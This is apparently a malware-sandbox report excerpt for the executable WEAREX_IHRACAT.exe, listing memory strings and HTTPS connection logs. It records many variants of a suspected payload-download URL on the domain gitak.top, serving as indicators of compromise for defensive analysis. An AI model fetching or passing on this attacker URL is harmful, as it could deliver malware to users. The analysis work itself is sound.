Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binK~v
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binMicrosoft
Source: WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binM~
Source: WEAREX_IHRACAT.exe, 00000002.00000002.6653324742.0000000002838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binNJ
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828251598.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binR
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binW~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binX
Source: WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binY~
Source: WEAREX_IHRACAT.exe, 00000002.00000002.6653324742.0000000002838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bince
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binc~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bine~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binf
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binl
Source: WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bino~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binq
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828251598.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.binz
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/e~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/o~
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
